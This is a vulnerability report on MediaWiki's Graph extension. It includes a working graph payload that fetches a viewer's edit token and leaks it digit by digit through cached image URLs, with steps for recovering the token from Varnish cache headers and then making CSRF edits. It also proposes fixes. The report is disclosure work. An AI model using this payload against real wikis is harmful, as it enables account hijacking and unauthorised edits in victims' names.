Summary: Graphs allow the user to load data sources from urls. This can be used to load edittokens of the current user (among other things. centralauthtoken might be another good target). You can then make further GET requests to transfer this obtained information to a third party. The domain whitelist is insufficient to stop the attack. Once you have an edit token, you can do the standard CSRF attack.
In detail:
Attacker creates a page with the following code on it [For length purposes this isn't the full graph you would use, but you get the idea.]:
<graph> { "name": "image", "width": 200, "height": 200, "padding": { "left": 30, "top": 10, "bottom": 30, "right": 10 }, "data": [ { "name": "data", "url": "https://commons.wikimedia.org/w/api.php?action=query&prop=info&titles=Main%20Page&intoken=edit&formatversion=2&format=json", "format": { "property": "query.pages", "type": "json" }, "transform": [ { "type": "formula", "field": "data.img2", "expr": "'https://upload.wikimedia.org/wikipedia/commons/7/70/Example.png?token=' + d.data.edittoken" }, { "type": "truncate", "value": "data.img2", "limit": 76, "output": "data.t25", "ellipsis": "$", "wordbreak": false }, { "type": "truncate", "value": "data.img2", "limit": 77, "output": "data.t24", "ellipsis": "$", "wordbreak": false }, { "type": "truncate", "value": "data.img2", "limit": 72, "output": "data.t23", "ellipsis": "$", "wordbreak": false }, { "type": "truncate", "value": "data.img2", "limit": 73, "output": "data.t22", "ellipsis": "$", "wordbreak": false }, { "type": "truncate", "value": "data.img2", "limit": 74, "output": "data.t21", "ellipsis": "$", "wordbreak": false }, { "type": "truncate", "value": "data.img2", "limit": 75, "output": "data.t20", "ellipsis": "$", "wordbreak": false } ] } ], "scales": [ { "name": "x", "domain": [ 0, 3 ], "range": "width" }, { "name": "y", "domain": [ 0, 3 ], "range": "height" } ], "axes": [ { "type": "x", "scale": "x" }, { "type": "y", "scale": "y" } ], "marks": [ { "type": "image", "from": { "data": "data" }, "properties": { "enter": { "url": { "field": "data.t25" } } } }, { "type": "image", "from": { "data": "data" }, "properties": { "enter": { "url": { "field": "data.t24" } } } }, { "type": "image", "from": { "data": "data" }, "properties": { "enter": { "url": { "field": "data.t23" } } } }, { "type": "image", "from": { "data": "data" }, "properties": { "enter": { "url": { "field": "data.t22" } } } }, { "type": "image", "from": { "data": "data" }, "properties": { "enter": { "url": { "field": "data.t21" } } } } ] } </graph>
Attacker creates an external web page, which loads the page containing this graph in an iframe. Attacker directs victim to visit this web page (Or maybe you just put the attack graph on a popular page, etc). Once the attack graph is loaded, victim's browser retrieves edit tokens, and also accesses urls like https://upload.wikimedia.org/wikipedia/commons/7/70/Example.png?token=7$, https://upload.wikimedia.org/wikipedia/commons/7/70/Example.png?token=78$, and so on, for all the digits of the edit token. These pages are now in varnish cache. Attacker then guesses the appropriate page, loads it, and looks at the x-cache header to see if its previously been accessed (This should only take the attacker about 40*16=640 tries).
Attacker now has the user's edit token. They can now use ajax on their web page to do a traditional csrf attack against the user, and edit stuff on their behalf.
As an aside, there is a similar (but much less serious) attack in stock mediawiki, where you can use {{REVISIONUSER}}, plus including images in specific obscure sizes, to leak which user was previewing the current page.
Thanks to @Legoktm for letting me bounce ideas about this off him.
Possible solutions:
*Make the url whitelist much more strict (perhaps only allow loading wikipages, so it could never get the edit tokens, although it'd be a shame to dissallow the api altogether as there is some interesting data there. Perhaps some parameter to api to mark the request unauthenticated, similar to the affect of json callback)
*Do all rendering server side (Not as fun for dynamic graphs. Might have some technical details on page previews preventing from working)